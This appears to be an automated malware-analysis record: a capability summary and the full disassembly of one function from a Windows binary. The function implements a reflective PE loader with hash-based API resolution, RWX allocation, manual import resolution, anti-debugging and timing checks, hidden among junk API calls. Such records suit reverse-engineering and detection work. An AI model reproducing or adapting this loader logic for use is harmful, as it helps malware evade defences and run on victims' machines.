Function at 0x180003160
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Allocate thread local storage
Check for time delay via gettickcount
Enumerate pe sections
Execute shellcode via indirect call
Get disk information
Identify system language via api
Parse pe header
Query environment variable
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rcx
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x190
movaps xmmword [r11 - 0x48], xmm6
movaps xmmword [r11 - 0x58], xmm7
movaps xmmword [r11 - 0x68], xmm8
movaps xmmword [r11 - 0x78], xmm9
movaps xmmword [r11 - 0x88], xmm10
movaps xmmword [r11 - 0x98], xmm11
movaps xmmword [r11 - 0xa8], xmm12
movaps xmmword [r11 - 0xb8], xmm13
movaps xmmword [r11 - 0xc8], xmm14
movaps xmmword [r11 - 0xd8], xmm15
mov r14, rcx
rdtscp
lea r8, [r11 + 0x10]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov r8d, 0x989680
cmp rax, r8
jbe 0x1800031e3
mov esi, 0x9c92f5d
jmp 0x180003206
rdtscp
lea r9, [rsp + 0x1d8]
mov dword [r9], ecx
shl rdx, 0x20
or rax, rdx
mov rcx, rax
xor edx, edx
mov rax, r8
div rcx
mov rsi, rax
rdtscp
lea r8, [rsp + 0x1d8]
mov dword [r8], ecx
shl rdx, 0x20
or rax, rdx
mov ecx, eax
imul r8, rcx, 0xb330
movabs rax, 0x58ed2308158ed231
mul r8
mov rax, r8
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 6
imul rax, rax, 0x5f
sub r8, rax
lea eax, [r8 + 3]
mov dword [rsp + 0x1e8], eax
mov edi, eax
mov dword [rsp + 0x1e0], eax
movsxd rbx, esi
mov qword [rsp + 0x20], rbx
xor r15d, r15d
mov eax, r15d
mov qword [rsp + 0x38], rax
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x88], r15
mov qword [rsp + 0xd8], rax
xorps xmm10, xmm10
xorps xmm11, xmm11
movsd qword [rsp + 0x80], xmm11
movsd xmm14, qword [0x18002fd10]
movsd qword [rsp + 0xe0], xmm14
movsd xmm13, qword [0x18002fc40]
movsd qword [rsp + 0x58], xmm13
movsd xmm8, qword [0x18002fd20]
movsd qword [rsp + 0xd0], xmm8
movaps xmm0, xmm14
call fcn.180003018
movaps xmm6, xmm0
xorps xmm0, xmm0
call fcn.180003018
movaps xmm9, xmm0
addsd xmm9, xmm6
mulsd xmm9, xmm13
movsd xmm7, qword [0x18002fc58]
divsd xmm9, xmm7
movsd qword [rsp + 0xc0], xmm9
mov r14, qword [r14]
mov qword [rsp + 0x50], r14
mov qword [rsp + 0xc8], r14
cmp esi, edi
jl 0x1800033a4
lea r12d, [r15 + 1]
movaps xmm0, xmm14
call fcn.180003018
movaps xmm6, xmm0
movaps xmm0, xmm10
call fcn.180003018
movaps xmm9, xmm0
addsd xmm9, xmm6
mulsd xmm9, xmm13
divsd xmm9, xmm7
movsd qword [rsp + 0xc0], xmm9
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x180003384
movsxd rcx, dword [r14 + 0x3c]
lea rax, [rcx - 0x40]
cmp rax, 0x3bf
ja 0x180003384
cmp dword [rcx + r14], 0x4550
je 0x180003391
sub r14, r12
mov qword [rsp + 0xc8], r14
jmp 0x18000332d
mov qword [rsp + 0x50], r14
movsd xmm12, qword [0x18002fc90]
jmp 0x18000349b
cmp rbx, 0x7f
jg 0x1800033be
mov cl, 0x6f
call fcn.180002d8c
cdqe
movsd xmm12, qword [0x18002fc90]
jmp 0x1800033eb
call qword [sym.imp.USER32.dll_CreateMenu]
movsd xmm12, qword [0x18002fc90]
movaps xmm1, xmm12
movaps xmm0, xmm1
addsd xmm0, xmm1
movaps xmm1, xmm0
cvttsd2si eax, xmm0
cmp al, 0x55
jg 0x1800033d1
movsx rax, al
add rax, 0x5a
cmp rax, 0x7b
jle 0x180003489
mov cl, 0x77
call fcn.180002d8c
movd xmm6, eax
cvtdq2ps xmm6, xmm6
movss xmm0, dword [0x18002fd84]
call fcn.180002d18
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
mulss xmm0, xmm6
cvttss2si rbx, xmm0
movss xmm6, dword [0x18002fd4c]
movss xmm8, dword [0x18002fd74]
mov qword [rsp + 0x20], rbx
cmp rbx, 0xd
jl 0x180003495
movss xmm7, dword [0x18002fd6c]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
addss xmm7, xmm6
movaps xmm6, xmm7
addss xmm8, xmm6
movaps xmm0, xmm7
addss xmm0, xmm6
cvttss2si rax, xmm0
xorps xmm7, xmm7
cvtsi2ss xmm7, rax
movaps xmm1, xmm8
mulss xmm1, xmm6
addss xmm1, xmm7
cvttss2si rbx, xmm1
mov qword [rsp + 0x20], rbx
cmp rbx, 0xd
jge 0x180003445
jmp 0x180003495
mov rbx, 0xffffffffffffc84f
mov qword [rsp + 0x20], rbx
mov r12d, 1
mov rcx, qword gs:[0x60]
lea eax, [rsi + 4]
mov r10d, edi
cmp eax, edi
cmovle esi, edi
mov rax, qword [rcx + 0x18]
mov r9, qword [rax + 0x20]
mov qword [rsp + 0xa8], r9
mov qword [rsp + 0x60], r9
movsd xmm15, qword [0x18002fc50]
mov eax, dword [rsp + 0x48]
mov dword [rsp + 0x40], eax
test r9, r9
je 0x180003d77
mov eax, esi
cdq
sub eax, edx
sar eax, 1
cmp eax, r10d
cmovl esi, r10d
mov dword [rsp + 0x70], esi
mov dword [rsp + 0x74], esi
mov r13, qword [r9 + 0x50]
mov qword [rsp + 0x30], r13
mov qword [rsp + 0x68], r13
movzx r14d, word [r9 + 0x48]
mov qword [rsp + 0x78], r14
mov word [rsp + 0x1d8], r14w
mov rdi, r15
mov qword [rsp + 0xa0], r15
lea rcx, [r12 + r14]
mov eax, 8
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.180008730
nop
mov r10d, dword [rsp + 0x1e0]
mov r8d, dword [rsp + 0x1e8]
jmp 0x18000360d
test r14w, r14w
je 0x1800038fb
rdtscp
lea r9, [rsp + 0x1d8]
mov dword [r9], ecx
shl rdx, 0x20
or rax, rdx
cmp rax, 0x989680
ja 0x180003642
rdtscp
lea r9, [rsp + 0x1d8]
mov dword [r9], ecx
rdtscp
lea r9, [rsp + 0x1d8]
mov dword [r9], ecx
ror edi, 0xd
mov r14d, edi
cmp byte [r13], 0x61
jb 0x18000367b
mov eax, esi
cdq
sub eax, edx
sar eax, 1
cmp eax, r8d
jl 0x18000385d
movzx eax, byte [r13]
add rdi, 0xffffffffffffffe0
add rdi, rax
jmp 0x18000368a
cmp dword [rsp + 0x74], r8d
jl 0x180003694
movzx edi, byte [r13]
add rdi, r14
mov qword [rsp + 0x20], rbx
jmp 0x180003762
cmp rbx, 0x77
jne 0x1800036a2
call qword [sym.imp.KERNEL32.dll_GetTickCount]
jmp 0x1800036af
call qword [sym.imp.USER32.dll_GetDialogBaseUnits]
mov cl, 0x72
call fcn.180002d8c
movss xmm2, dword [0x18002fd60]
movaps xmm0, xmm2
addss xmm0, xmm2
movaps xmm2, xmm0
movaps xmm1, xmm12
movaps xmm0, xmm1
addsd xmm0, xmm1
movaps xmm1, xmm0
cvttsd2si eax, xmm0
cmp al, 0x55
jg 0x1800036c5
movsx eax, al
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movaps xmm1, xmm2
subss xmm1, xmm0
cvttss2si rax, xmm1
cmp rax, 0x41
jge 0x1800036b7
mov ecx, 0x38
call fcn.180002cd4
movsx ecx, al
movd xmm1, ecx
cvtdq2pd xmm1, xmm1
movsd xmm0, qword [0x18002fca8]
divsd xmm0, xmm1
divsd xmm1, xmm0
cvttsd2si rax, xmm1
cmp rax, 0x77
jne 0x180003823
movaps xmm1, xmm12
movaps xmm0, xmm1
addsd xmm0, xmm1
movaps xmm1, xmm0
cvttsd2si eax, xmm0
cmp al, 0x55
jg 0x18000372b
movsx eax, al
mov ecx, r12d
sub ecx, eax
movsxd rbx, ecx
mov qword [rsp + 0x20], rbx
mov rdi, r14
cmp rbx, 0x79
jle 0x180003823
mov r10d, dword [rsp + 0x1e0]
mov r14d, esi
cmp esi, r10d
jle 0x180003840
lea r13d, [rsi + rsi]
cmp r13d, r10d
jge 0x180003814
cmp rbx, 0x5b
jge 0x180003791
call qword [sym.imp.KERNEL32.dll_GetOEMCP]
mov rbx, r15
mov qword [rsp + 0x20], rbx
jmp 0x1800037f9
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
movaps xmm1, xmm12
movaps xmm0, xmm1
addsd xmm0, xmm1
movaps xmm1, xmm0
cvttsd2si eax, xmm0
cmp al, 0x55
jg 0x18000379b
movsx eax, al
movd xmm0, eax
cvtdq2ps xmm0, xmm0
addss xmm0, xmm0
addss xmm0, dword [0x18002fd08]
cvttss2si rbx, xmm0
movsd xmm6, qword [0x18002fcd8]
jmp 0x1800037ee
call qword [sym.imp.USER32.dll_GetClipboardViewer]
cvttsd2si ecx, xmm6
call fcn.180002d8c
movd xmm6, eax
cvtdq2pd xmm6, xmm6
cvttsd2si rbx, xmm6
cmp rbx, 0x6f
mov qword [rsp + 0x20], rbx
je 0x1800037d2
add r14d, r12d
mov r10d, dword [rsp + 0x1e0]
cmp r14d, r10d
jg 0x180003772
mov r13, qword [rsp + 0x30]
jmp 0x180003840
mov r13, qword [rsp + 0x30]
add r13, r12
mov qword [rsp + 0x30], r13
jmp 0x180003840
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov rbx, 0xffffffffffffffd8
mov qword [rsp + 0x20], rbx
mov rdi, r14
mov r10d, dword [rsp + 0x1e0]
mov eax, 0xffff
add word [rsp + 0x78], ax
je 0x1800038fb
mov r8d, dword [rsp + 0x1e8]
jmp 0x180003617
mov dil, 0x32
movsd xmm6, qword [0x18002fc88]
cmp rbx, 0x42
jl 0x1800038ba
mov ebx, 0xe
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ecx, ebx
call fcn.180002cd4
movsx ecx, dil
movsx edi, dil
imul edi, ecx
movsx ebx, al
movd xmm0, ebx
cvtdq2pd xmm0, xmm0
divsd xmm0, xmm6
movaps xmm6, xmm0
movsx eax, dil
add eax, ebx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
subsd xmm0, xmm6
cvttsd2si rax, xmm0
cmp rax, 0x42
jge 0x180003873
movss xmm6, dword [0x18002fd3c]
cvttss2si ecx, xmm6
call fcn.180002cd4
movsx ecx, al
movd xmm2, ecx
cvtdq2pd xmm2, xmm2
movaps xmm0, xmm6
mulss xmm0, xmm6
movaps xmm6, xmm0
xorps xmm1, xmm1
cvtss2sd xmm1, xmm0
mulsd xmm1, xmm2
cvttsd2si rbx, xmm1
cmp rbx, 0x75
jle 0x1800038c2
jmp 0x18000385d
cmp edi, 0x6a4abc5b
jne 0x180003d42
mov rdi, qword [rsp + 0xa8]
mov rdi, qword [rdi + 0x20]
movsxd rax, dword [rdi + 0x3c]
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x20], rbx
mov ecx, 3
mov word [rsp + 0x1d8], cx
mov edx, dword [rax + 0x20]
add rdx, rdi
mov r8d, dword [rax + 0x24]
add r8, rdi
mov qword [rsp + 0x78], r8
mov qword [rsp + 0x30], rdx
test cx, cx
je 0x180003d42
cmp esi, r10d
jle 0x180003993
mov ecx, dword [rdx]
add rcx, rdi
mov r9d, r15d
mov al, byte [rcx]
ror r9d, 0xd
movsx eax, al
add r9d, eax
add rcx, r12
mov al, byte [rcx]
test al, al
jne 0x180003967
mov dword [rsp + 0x40], r9d
mov dword [rsp + 0x48], r9d
mov rax, qword [rsp + 0x68]
movzx ecx, word [rsp + 0x1d8]
jmp 0x180003998
mov r9d, dword [rsp + 0x40]
cmp r9d, 0xec0e4e8e
je 0x1800039b7
cmp r9d, 0x7c0dfcaa
je 0x1800039b7
cmp r9d, 0x91afca54
jne 0x180003d27
cmp esi, r10d
cmovl esi, r10d
movzx ecx, word [r8]
mov qword [rsp + 0xa0], rcx
mov edx, dword [rax + 0x1c]
add rdx, rdi
mov qword [rsp + 0x60], rdx
cmp r9d, 0xec0e4e8e
jne 0x180003a3e
lea eax, [rsi + 4]
cmp eax, dword [rsp + 0x1e8]
jg 0x180003a26
cmp rbx, 0x60
je 0x180003a18
call qword [sym.imp.USER32.dll_IsWow64Message]
movaps xmm0, xmm12
addsd xmm0, xmm12
movaps xmm12, xmm0
cvttsd2si eax, xmm0
cmp al, 0x55
jg 0x1800039f6
movsx rcx, al
lea eax, [rcx + 0x6c]
movsxd rbx, eax
add rbx, rcx
cmp rbx, 0x1a
jge 0x180003a24
call qword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
jmp 0x180003a24
mov eax, dword [rdx + rcx*4]
add rax, rdi
mov qword [rsp + 0x38], rax
mov qword [rsp + 0xb0], rax
jmp 0x180003d0a
cmp r9d, 0x7c0dfcaa
jne 0x180003b94
lea eax, [rsi + rsi]
cmp eax, dword [rsp + 0x1e8]
jge 0x180003b7c
movsd xmm6, qword [0x18002fc98]
jmp 0x180003ab7
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
movaps xmm1, xmm12
movaps xmm0, xmm1
addsd xmm0, xmm1
movaps xmm1, xmm0
cvttsd2si eax, xmm0
cmp al, 0x55
jg 0x180003a6f
movsx eax, al
movd xmm2, eax
cvtdq2pd xmm2, xmm2
movaps xmm0, xmm2
subsd xmm0, xmm6
movaps xmm6, xmm0
movaps xmm1, xmm0
mulsd xmm1, xmm2
cvttsd2si rax, xmm1
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, xmm6
addsd xmm0, xmm2
cvttsd2si rbx, xmm0
cmp rbx, 0x4d
jg 0x180003a65
cmp rbx, 0x3f
jle 0x180003ae5
call qword [sym.imp.KERNEL32.dll_GetErrorMode]
movaps xmm1, xmm12
movaps xmm0, xmm1
addsd xmm0, xmm1
movaps xmm1, xmm0
cvttsd2si eax, xmm0
cmp al, 0x55
jg 0x180003acd
cmp al, 0x6e
je 0x180003b2c
jmp 0x180003aeb
call qword [sym.imp.USER32.dll_CloseClipboard]
movss xmm7, dword [0x18002fd8c]
movss xmm6, dword [0x18002fd68]
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
subss xmm7, xmm6
cvttss2si eax, xmm7
movaps xmm0, xmm6
subss xmm0, xmm6
movaps xmm6, xmm0
movd xmm7, eax
cvtdq2ps xmm7, xmm7
movaps xmm1, xmm7
divss xmm1, xmm0
cvttss2si rax, xmm1
cmp rax, 0x6e
jne 0x180003afb
call qword [sym.imp.USER32.dll_GetCapture]
movaps xmm1, xmm12
movaps xmm0, xmm1
addsd xmm0, xmm1
movaps xmm1, xmm0
cvttsd2si eax, xmm0
cmp al, 0x55
jg 0x180003b36
movsx rbx, al
movss xmm6, dword [0x18002fc70]
jmp 0x180003b71
call qword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
movaps xmm0, xmm6
call fcn.180002d18
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
cvttss2si rbx, xmm6
cmp rbx, 0x29
jl 0x180003b56
jmp 0x180003a5b
mov eax, dword [rdx + rcx*4]
add rax, rdi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0xb8], rax
jmp 0x180003d0a
cmp r9d, 0x91afca54
jne 0x180003d0a
mov r14d, esi
cmp esi, r10d
jle 0x180003d0a
lea r13d, [rsi + 4]
cmp r13d, r10d
jg 0x180003cea
mov r8b, 0x68
cmp rbx, 0xf
jl 0x180003bf2
mov cl, r8b
call fcn.180002d8c
mov r8d, eax
movaps xmm1, xmm12
movaps xmm0, xmm1
addsd xmm0, xmm1
movaps xmm1, xmm0
cvttsd2si edx, xmm0
cmp dl, 0x55
jg 0x180003bd2
movsx ecx, al
movsx eax, dl
add ecx, eax
cmp ecx, 0xf
jge 0x180003bc3
movsd xmm6, qword [0x18002fcb8]
movsd xmm7, qword [0x18002fcd0]
call qword [sym.imp.KERNEL32.dll_GetThreadUILanguage]
xorps xmm0, xmm0
cvtsd2ss xmm0, xmm6
call fcn.180002d18
movaps xmm6, xmm15
movaps xmm0, xmm6
divsd xmm0, xmm7
cvttsd2si ecx, xmm0
movsx ecx, cl
movd xmm7, ecx
cvtdq2pd xmm7, xmm7
movaps xmm1, xmm7
mulsd xmm1, xmm6
movsx eax, al
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm1, xmm0
cvttsd2si rax, xmm1
cmp rax, 0xd
jl 0x180003c02
mov bl, 0x66
mov cl, bl
call fcn.180002d8c
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, bl
add eax, eax
movsxd rcx, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rcx
addsd xmm0, xmm1
cvttsd2si ebx, xmm0
movsx rax, bl
imul rax, rcx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm1, xmm0
cvttsd2si rax, xmm1
test rax, rax
jns 0x180003c51
call qword [sym.imp.KERNEL32.dll_SwitchToThread]
movss xmm0, dword [0x18002fd40]
call fcn.180002d18
xorps xmm6, xmm6
cvtsi2ss xmm6, rax
movaps xmm0, xmm6
call fcn.180002d18
xorps xmm0, xmm0
cvtsi2ss xmm0, rax
addss xmm0, xmm6
cvttss2si rbx, xmm0
add r14d, r12d
mov qword [rsp + 0x20], rbx
mov r10d, dword [rsp + 0x1e0]
cmp r14d, r10d
jg 0x180003bb1
mov qword [rsp + 0x20], rbx
jmp 0x180003d05
mov rax, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x60]
mov eax, dword [rcx + rax*4]
add rax, rdi
mov qword [rsp + 0x88], rax
mov r8, qword [rsp + 0x78]
movzx ecx, word [rsp + 0x1d8]
mov eax, 0xffff
add cx, ax
mov word [rsp + 0x1d8], cx
mov rdx, qword [rsp + 0x30]
cmp esi, r10d
mov rax, qword [rsp + 0x68]
jle 0x18000394f
add rdx, 4
add r8, 2
jmp 0x180003945
cmp qword [rsp + 0x38], r15
je 0x180003d5a
cmp qword [rsp + 0x28], r15
je 0x180003d5a
cmp qword [rsp + 0x88], r15
jne 0x180003d77
mov r9, qword [rsp + 0xa8]
mov r9, qword [r9]
mov qword [rsp + 0xa8], r9
mov qword [rsp + 0x60], r9
jmp 0x1800034d5
mov edi, r12d
movaps xmm0, xmm15
movsd xmm11, qword [0x18002fc48]
movsd xmm10, qword [0x18002fc38]
movsd xmm8, qword [rsp + 0xd0]
movsd xmm13, qword [rsp + 0x58]
movsd xmm6, qword [rsp + 0x80]
subsd xmm0, xmm11
mulsd xmm0, xmm13
addsd xmm0, xmm6
call fcn.180003018
mulsd xmm0, xmm10
addsd xmm9, xmm0
add edi, r12d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm8, xmm0
jae 0x180003daa
mov r14, qword [rsp + 0x50]
movsxd rax, dword [r14 + 0x3c]
add rax, r14
mov qword [rsp + 0x30], rax
mov edi, dword [rax + 0x54]
mov edx, dword [rax + 0x50]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r13, rax
mov qword [rsp + 0x40], rax
test rdi, rdi
je 0x180003e65
mov r15, r14
movaps xmm6, xmm9
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x38], rax
mov r14d, esi
movsd xmm0, qword [0x18002fc30]
call fcn.180003018
movaps xmm9, xmm0
mulsd xmm9, xmm10
addsd xmm9, xmm6
mov al, byte [r15]
mov byte [r13], al
add r15, r12
add r13, r12
movaps xmm6, xmm9
sub rdi, r12
jne 0x180003e16
mov r13, qword [rsp + 0x40]
jmp 0x180003e7c
mov r14d, esi
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
movsd xmm6, qword [0x18002fd18]
movaps xmm8, xmm6
mov edi, r12d
movaps xmm0, xmm15
movsd xmm13, qword [0x18002fc28]
movsd xmm7, qword [rsp + 0x58]
movsd xmm11, qword [rsp + 0x80]
mulsd xmm0, xmm7
addsd xmm0, xmm11
call fcn.180003018
mulsd xmm0, xmm13
addsd xmm9, xmm0
add edi, r12d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm6, xmm0
jae 0x180003ea8
movaps xmm0, xmm14
call fcn.180003018
movaps xmm7, xmm0
movsd xmm14, qword [rsp + 0x80]
movaps xmm0, xmm14
call fcn.180003018
addsd xmm7, xmm0
movsd xmm9, qword [rsp + 0x58]
mulsd xmm7, xmm9
divsd xmm7, qword [0x18002fc60]
mov rcx, qword [rsp + 0x30]
movzx eax, word [rcx + 0x14]
lea rsi, [rcx + 0x18]
add rsi, rax
movzx r8d, word [rcx + 6]
test r8, r8
je 0x180003fdd
mov ecx, dword [rsp + 0x1e0]
sub r8, r12
mov qword [rsp + 0x88], r8
mov r15d, r14d
cmp r14d, ecx
jle 0x180003fd2
mov eax, r14d
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1d8], eax
cmp eax, ecx
jge 0x180003f8e
mov edi, 0x14
call qword [sym.imp.KERNEL32.dll_FlushProcessWriteBuffers]
mov cl, dil
call fcn.180002d8c
movsxd rdi, eax
mov rbx, rdi
cmp rdi, 0x1c
jne 0x180003f5c
add r15d, r12d
mov ecx, dword [rsp + 0x1e0]
cmp r15d, ecx
mov eax, dword [rsp + 0x1d8]
jg 0x180003f53
jmp 0x180003fca
mov ecx, dword [rsi + 0xc]
add rcx, r13
mov edx, dword [rsi + 0x14]
add rdx, qword [rsp + 0x50]
mov r8d, dword [rsi + 0x10]
test r8, r8
je 0x180003fb4
mov al, byte [rdx]
mov byte [rcx], al
add rcx, r12
add rdx, r12
sub r8, r12
jne 0x180003fa5
sub r8, r12
mov qword [rsp + 0xd8], r8
add rsi, 0x28
mov ecx, dword [rsp + 0x1e0]
mov r8, qword [rsp + 0x88]
test r8, r8
jne 0x180003f2d
jmp 0x180003ff1
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x28], rax
mov edi, r12d
movaps xmm0, xmm15
movsd xmm11, qword [0x18002fc48]
movsd xmm6, qword [rsp + 0xd0]
subsd xmm0, xmm11
mulsd xmm0, xmm9
addsd xmm0, xmm14
call fcn.180003018
mulsd xmm0, xmm10
addsd xmm7, xmm0
add edi, r12d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm6, xmm0
jae 0x18000400a
mov rax, qword [rsp + 0x30]
add rax, 0x90
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x68], rax
mov r15d, dword [rax]
mov qword [rsp + 0x20], rbx
add r15, r13
mov qword [rsp + 0x1d8], r15
movsd qword [rsp + 0xc0], xmm7
mov qword [rsp + 0x60], rsi
mov rcx, qword [rsp + 0xd8]
mov qword [rsp + 0x98], rcx
movsd qword [rsp + 0xa0], xmm8
mov r8, qword [rsp + 0x38]
mov qword [rsp + 0xb0], r8
mov r9, qword [rsp + 0x28]
mov qword [rsp + 0xb8], r9
mov edx, dword [rsp + 0x1e0]
cmp dword [r15 + 0xc], 0
je 0x18000449d
cmp dword [rax], 0
je 0x18000449d
cmp r14d, edx
cmovl r14d, edx
mov dword [rsp + 0x70], r14d
mov ecx, dword [r15 + 0xc]
add rcx, r13
call r8
mov r8, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0xc8], rax
mov edi, dword [r15]
add rdi, r13
mov qword [rsp + 0x98], rdi
mov esi, dword [r15 + 0x10]
add rsi, r13
mov qword [rsp + 0x60], rsi
mov edx, dword [rsp + 0x1e0]
mov r9, qword [rsp + 0x28]
mov r10d, dword [rsp + 0x1e8]
jmp 0x1800041b0
mov r13, qword [rsp + 0x40]
xorps xmm6, xmm6
mov rcx, qword [rsi]
test rcx, rcx
je 0x18000447b
test rdi, rdi
je 0x180004201
cmp qword [rdi], 0
jge 0x180004201
lea eax, [r14 + 4]
cmp eax, edx
cmovle r14d, edx
movsxd rax, dword [r8 + 0x3c]
mov ecx, dword [rax + r8 + 0x88]
mov eax, dword [rcx + r8 + 0x10]
movzx edx, word [rdi]
sub rdx, rax
mov ecx, dword [rcx + r8 + 0x1c]
add rcx, r8
mov eax, dword [rcx + rdx*4]
add rax, r8
mov rcx, rsi
jmp 0x180004338
lea eax, [r14 + 4]
cmp eax, r10d
jg 0x180004318
mov r14d, 0x6a
cmp rbx, 0x1d
jl 0x18000423a
mov cl, 0xcf
call fcn.180002d8c
movd xmm0, eax
cvtdq2pd xmm0, xmm0
mulsd xmm0, xmm6
addsd xmm0, qword [0x18002fcf8]
cvttsd2si rbx, xmm0
mov edx, 0x74
lea ecx, [rdx - 0x1c]
test rbx, rbx
jns 0x180004266
add edx, ecx
movaps xmm1, xmm12
movaps xmm0, xmm1
addsd xmm0, xmm1
movaps xmm1, xmm0
cvttsd2si eax, xmm0
cmp al, 0x55
jg 0x18000424d
movsx ecx, al
cmp edx, ecx
js 0x180004247
movss xmm2, dword [0x18002fd48]
movss xmm3, dword [0x18002fda0]
addss xmm2, xmm2
cvtps2pd xmm1, xmm2
cvttss2si eax, xmm3
xorps xmm0, xmm0
cvtsi2sd xmm0, eax
subsd xmm0, xmm1
cvtpd2ps xmm2, xmm0
xorps xmm3, xmm3
cvtsi2ss xmm3, eax
mulss xmm3, xmm2
cvtps2pd xmm0, xmm3
subsd xmm1, xmm0
cvttsd2si rax, xmm1
cmp rax, 0x1b
jge 0x180004276
mov ebx, 0x23
mov esi, r14d
mov rdi, r14
call qword [sym.imp.KERNEL32.dll_GetTickCount]
movd xmm0, esi
cvtdq2ps xmm0, xmm0
call fcn.180002d18
mov r8, rax
mov ecx, eax
sub ecx, ebx
movsxd rbx, ecx
mov rax, rdi
cqo
idiv r8
mov rsi, rax
movsxd rdi, eax
lea rcx, [r8 + rbx]
add rcx, rdi
cmp rcx, 0x1b
jne 0x1800042b8
movsd xmm0, qword [0x18002fca0]
cvtpd2ps xmm0, xmm0
call fcn.180002d18
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
cvttsd2si rbx, xmm0
cmp rbx, 0x7a
jne 0x1800042f7
jmp 0x180004214
lea rax, [rcx + r13]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x68], rax
lea rdx, [rax + 2]
mov rcx, r8
call r9
mov rcx, rsi
mov r8, qword [rsp + 0x50]
mov qword [rcx], rax
mov edx, dword [rsp + 0x1e0]
cmp r14d, edx
jl 0x180004377
add rsi, 8
mov qword [rsp + 0x60], rsi
test rdi, rdi
mov r9, qword [rsp + 0x28]
mov r10d, dword [rsp + 0x1e8]
je 0x1800041b3
add rdi, 8
mov qword [rsp + 0x98], rdi
jmp 0x1800041b3
movsd xmm6, qword [0x18002fcc8]
jmp 0x18000439d
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
cvtpd2ps xmm0, xmm6
call fcn.180002d18
xorps xmm6, xmm6
cvtsi2sd xmm6, rax
cvttsd2si rbx, xmm6
cmp rbx, 0x7a
jg 0x180004381
movsd xmm3, qword [0x18002fcb0]
movss xmm5, dword [0x18002fd5c]
cmp rbx, 0x61
jg 0x180004406
movsd xmm4, qword [0x18002fc68]
movaps xmm0, xmm3
mulsd xmm0, xmm4
cvttsd2si rax, xmm0
cvtps2pd xmm1, xmm5
mulsd xmm3, xmm1
movaps xmm0, xmm3
addsd xmm0, xmm1
xorps xmm5, xmm5
cvtsd2ss xmm5, xmm0
xorps xmm4, xmm4
cvtsi2sd xmm4, rax
cvtps2pd xmm1, xmm5
movaps xmm2, xmm3
divsd xmm2, xmm1
movaps xmm0, xmm4
subsd xmm0, xmm2
cvttsd2si rax, xmm0
cmp rax, 0x61
jle 0x1800043c1
movss xmm6, dword [0x18002fd70]
mov r13d, 0x74
call qword [sym.imp.USER32.dll_GetForegroundWindow]
movd xmm0, r13d
cvtdq2ps xmm0, xmm0
divss xmm6, xmm0
movaps xmm2, xmm6
mulss xmm2, dword [0x18002fc10]
movaps xmm0, xmm6
divss xmm0, xmm6
cvttss2si eax, xmm0
movsx ecx, al
movd xmm1, ecx
cvtdq2ps xmm1, xmm1
subss xmm2, xmm1
cvttss2si rbx, xmm2
mov qword [rsp + 0x20], rbx
xor r13d, r13d
cmp rbx, 0x55
je 0x180004414
mov edx, dword [rsp + 0x1e0]
mov r8, qword [rsp + 0x50]
mov r9, qword [rsp + 0x28]
mov r10d, dword [rsp + 0x1e8]
jmp 0x1800041ab
cmp r14d, edx
cmove r14d, edx
add r15, 0x14
mov qword [rsp + 0x1d8], r15
mov rax, qword [rsp + 0x48]
mov r8, qword [rsp + 0x38]
jmp 0x1800040a9
mov edi, r12d
movaps xmm0, xmm15
movsd xmm9, qword [rsp + 0x58]
movsd xmm14, qword [rsp + 0x80]
mulsd xmm0, xmm9
addsd xmm0, xmm14
call fcn.180003018
mulsd xmm0, xmm13
addsd xmm7, xmm0
add edi, r12d
movd xmm0, edi
cvtdq2pd xmm0, xmm0
comisd xmm8, xmm0
jae 0x1800044b5
mov r13d, r14d
mov edi, dword [rsp + 0x1e0]
cmp r14d, edi
jle 0x18000453e
mov eax, r14d
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1d8], eax
cmp eax, edi
jge 0x180004689
mov edi, 7
cmp rbx, 0x80
jle 0x18000452f
call qword [sym.imp.USER32.dll_GetMenuCheckMarkDimensions]
imul edi, edi
movsxd rbx, edi
cmp rbx, 0x80
jg 0x180004513
